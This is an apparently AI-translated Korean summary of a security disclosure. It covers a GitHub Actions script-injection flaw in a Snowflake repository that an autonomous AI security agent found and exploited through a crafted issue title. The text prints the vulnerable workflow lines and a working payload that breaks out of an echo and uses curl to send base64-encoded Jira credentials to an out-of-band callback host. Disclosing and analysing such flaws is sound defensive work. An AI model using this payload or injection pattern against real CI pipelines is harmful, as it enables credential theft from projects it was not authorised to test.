AI 생성 GitHub Copilot의 '자동 수정' 기능, Snowflake Jira 접근 권한 노출에 이용
요약
Wiz Research가 개발한 자율 AI 보안 도구 Red Agent는 Snowflake의 GitHub Actions에서 심각한 스크립트 주입 취약점을 발견했습니다. 이 취약점은 공격자가 조작된 이슈 제목을 이용해 임의 명령을 실행할 수 있게 하며, 기존 자동화 보안 검사나 Copilot 같은 AI 코딩 에이전트가 이를 놓칠 수 있음을 보여줍니다.
핵심 포인트
- AI 코딩 에이전트도 취약점 도입에 기여할 수 있음.
- 자율 AI 보안 도구는 야생 환경의 취약점을 신속히 발견함.
- GitHub Actions 워크플로우에서 이슈 제목을 이용한 스크립트 주입 위험 존재.
- 기존 자동화된 보안 검사만으로는 충분하지 않음.
Snowflake의 HackerOne 취약점 공개 프로그램을 통해 진행된 지속적인 보안 연구의 일환으로, Wiz Research가 개발한 자율 AI 기반 보안 연구 도구인 "Red Agent"는 Snowflake의 공개 저장소 중 하나에서 심각한 GitHub Actions 워크플로우 취약점을 발견했습니다.
이 사건은 소프트웨어 개발에 있어 새로운 현실을 강조합니다. 즉, AI 코딩 에이전트가 관련된 워크플로우 내에서도 여전히 심각한 취약점이 도입되고 승인될 수 있으며, 기존의 자동화된 보안 검사를 통과할 수 있고, 자율 AI 보안 에이전트는 이를 야생 환경에서 신속하게 발견하고 악용할 수 있다는 것입니다.
Wiz가 2026년 6월 23일에 책임감 있게 공개한 후, Snowflake는 같은 날 취약점을 수정하고 영향을 받은 자격 증명을 교체했으며, 상세 감사 로그를 통해 노출 기간 동안 Wiz만이 유일한 행위자였음을 확인했습니다. Wiz는 개념 증명(proof-of-concept) 테스트 중에 접근된 모든 데이터가 안전하게 삭제되었음을 확인해 주었습니다.
2026년 8월 17일, 1957 UTC 업데이트: 이 블로그는 Copilot이 병합된 PR과 코드 변경 사항을 검토한 공동 작성자였으며, 심각한 취약점을 알아차리지 못한 채 모든 것이 괜찮다고 판단했음을 명확히 하기 위해 업데이트되었습니다. 해당 코드 변경이 AI의 도움을 받은 것인지는 불분명합니다.
Wiz Red Agent는 snowflakedb/snowflake-connector-net에서 스크립트 주입(script injection) 취약점을 발견했습니다. 이 문제는 인증되지 않은 사용자가 특별히 조작된 제목을 가진 GitHub 이슈를 열어 GitHub Actions 러너 내에서 임의 명령을 실행할 수 있게 했습니다.
결정적으로, 이 취약점은 발견되기 5일 전인 2026년 6월 18일에 PR #1218이 병합되면서 실제 작동하게 되었습니다. GitHub Advanced Security 스캔은 취약한 워크플로우를 포함하여 최종 PR 개정을 분석했지만, 심각한 주입(injection)을 플래그하지 못했습니다.
Wiz Red Agent의 CI/CD 기능은 Snowflake의 GitHub 조직을 스캔하고 snowflakedb/snowflake-connector-net에 있는 다음 워크플로우가 run: 블록에서 신뢰할 수 없는 입력으로 인해 스크립트 주입에 취약함을 플래그했습니다.
코드 변경 사항
⚠️ [IMG:N] 형식 토큰은 이미지 placeholder 입니다. 번역하지 말고 원래 위치에 그대로 유지하세요.
- env:
- ISSUE_TITLE: ${{ github.event.issue.title }}
- run: jq -n --arg title "$ISSUE_TITLE" ...
...
워크플로우는 issues: opened 시 트리거됨
- 즉, 모든 GitHub 사용자가 이슈를 열어 실행할 수 있으며, 공격자가 제어하는 이슈 제목을 셸 스크립트에 직접 삽입함:
run: | TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\"/g' | sed "s/'/\'/g")
sed를 이용한 이스케이프(escaping)는 GitHub의 템플릿 확장 이후에 실행되며, 제목의 작은따옴표(') 하나만으로도 echo '...' 구문에서 탈출하여 임의 명령어 실행을 가능하게 함.
이 주입 가능한 패턴은 커밋 094038e에서 jira_issue.yml에 추가되었고, PR #1218이 커밋 4a1b8ce로 스쿼시 머지되면서 라이브 상태가 되었음 (PR #1218: “SNOW-2069227: Update jira workflows”). Copilot Autofix의 문서화된 기여는 같은 PR 내에서 jira_close.yml에 대한 별도의 수정이었음. GitHub Advanced Security의 스캔은 취약한 jira_issue.yml 워크플로우를 명시적으로 추출했지만, 이 주입(injection)을 플래그하지는 않았음. 병합된 PR은 저장소의 기존 안전한 env: 및 jq 패턴을 제거하고, 직접 ${{ github.event.issue.title }} 인터폴레이션으로 대체하여 주입 벡터를 생성함.
이 워크플로우에는 보호적인 것처럼 보이는 if: 조건이 있었음:
if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')
하지만 이슈 이벤트의 경우, github.event.pull_request는 항상 null임.
따라서 이 조건은 (null != 'whitesource-for-github-com[bot]')으로 축소됨. 이는 항상 참(true)이므로 모든 GitHub 사용자가 게이트를 통과함.
우리는 템플릿 확장 후 echo 문자열에서 탈출하여 아웃-오브-밴드 콜백을 통해 Jira 자격 증명을 유출하는 이슈 제목을 만들었음:
결정적으로, Red Agent의 cicd 기능이 표준 주석 문자(#)를 사용하여 초기 유출을 시도했을 때, 러너는 주석이 TITLE=$(...)의 닫는 소괄호를 소비했기 때문에 bash 구문 오류를 반환함. Red Agent는 중단하거나 실패하는 대신:
자동으로 구문 실행 오류를 분석하여
사용할 페이로드를 조정하고
``; echo '`
셸 블록을 올바르게 닫고, 아웃-오브-밴드 콜백을 성공적으로 수신했습니다.
' ; curl -s "https://subdomain.oast.me?t=printf %s $JIRA_API_TOKEN|base64 -w0&e=printf %s $JIRA_USER_EMAIL|base64 -w0&u=printf %s $JIRA_BASE_URL|base64 -w0" ; echo '
수 초 만에, 저희 리스너는 GitHub Actions 러너(Azure IP 20.106.182.197)로부터 base64로 인코딩된 자격 증명을 포함하는 콜백을 받았습니다.
참고: 저희의 첫 번째 시도는 #를 사용하여 나머지 줄을 주석 처리했지만, 이 또한 TITLE=$(...)의 닫는 )까지 제거하여 예상치 못한 EOF bash 오류를 발생시켰습니다. 수정된 방법은 ; echo '를 사용하여 셸 구문을 올바르게 닫는 것이었습니다.
유출된 토큰은 [email protected]으로 snowflakecomputing.atlassian.net에 인증되어, Snowflake의 엔지니어링, 보안 규정 준수 및 버그 바운티 추적 프로젝트 전반에 걸쳐 읽기 액세스 권한을 부여했습니다.
당일 패치: Snowflake는 2026년 6월 23일에 워크플로우를 패치했습니다(1dc7766, PR #1402). 이를 통해 안전한 env: 변수 및 jq --arg 파싱 패턴이 완전히 복구되었습니다.자격 증명 폐기: 문제가 된 JIRA 토큰은 폐기되고 교체되었습니다.포렌식 검증: 포괄적인 감사 로그 분석을 통해 5일간의 노출 기간 동안 외부 제3자가 해당 엔드포인트에 접근한 적이 없음을 확인했습니다. 모든 비정상적인 쿼리는 Wiz의 테스트 IP와 엄격하게 일치했습니다.
AI 코드 생성은 엄격한 감독을 요구합니다: AI 코딩 도구는 확률적 패턴에 기반하여 코드를 예측하며, 이 과정에서 의도치 않게 사용 중단되거나 안전하지 않은 셸(shell) 패턴이 재도입될 수 있습니다. AI가 생성한 PR(Pull Request)은 인간이 작성한 코드와 동일하게 정적 분석(static analysis) 및 보안 심사를 거쳐야 합니다.발견 창의 축소: 이 취약점은 자동화된 에이전트가 발견하고 검증하기까지 단 5일 동안만 유효했습니다. 보안 운영팀은 자동화된 발견이 몇 시간 내에 발생하는 환경에 적응해야 하며, 이는 신속한 패치 주기와 짧게 유지되는 자격 증명(credentials)을 요구합니다.CI/CD 보안 퇴행 방지: 더 안전한 코드 패턴이 명시적으로 강제되지 않을 경우 보안 의도가 손실될 수 있습니다. 이 사건에서 병합된 PR은 안전했던 env: + jq parsing pattern을 제거하고 직접 문자열 보간(direct string interpolation)으로 대체했으며, 기존의 보안 솔루션은 그 결과로 발생한 주입(injection)을 플래그 지정하는 데 실패하여 노출이 발생했습니다.2026년 6월 18일 - PR #1218이 병합되면서 취약점이 유효해졌습니다.2026년 6월 23일 - Wiz가 해당 취약점을 식별하고 악용했으며, HackerOne(리포트 #3819931)을 통해 Snowflake에 보고했습니다.2026년 6월 23일 - Snowflake 보안팀에 Slack 알림이 전송되었습니다.2026년 6월 23일 (같은 날) - Snowflake가 취약한 스크립트 주입 워크플로우를 패치했습니다(커밋 1dc7766, PR #1402), 안전했던 env: + jq parsing pattern을 복원했습니다.2026년 6월 24일 - Jira 토큰이 순환되었습니다.2026년 7월 25일 - 공개 공개 기한 (Snowflake의 공개 정책에 따라 6월 25일 해결일로부터 30일)**
Snowflake는 HackerOne의 취약점 공개(vulnerability disclosure) 및 버그 바운티 프로그램(bug bounty program)을 통해 이러한 발견 사항에 대한 Wiz의 책임감 있는 보고와 협력에 감사드립니다. Wiz Research가 Snowflake의 공개 GitHub 저장소 중 하나에서 보안 취약점을 보고했습니다. 이 정보는 2026년 6월 23일에 접수되었으며, 즉시 조사 및 수정되었고, 저희 조사를 통해 무단 접근의 증거는 발견되지 않았습니다. 시스템 보호는 여전히 최우선 과제이며, 저희는 소프트웨어 개발 및 보안 관행을 지속적으로 강화하는 데 전념하고 있습니다. 저희는 Wiz와 협력하여 이러한 학습 내용을 더 광범위한 산업과 공유함으로써 이러한 보안 모범 사례(security best practices)의 광범위한 채택을 장려하고자 노력하고 있습니다.
AI 자동 생성 콘텐츠
본 콘텐츠는 HN OpenAI Codex의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.
원문 바로가기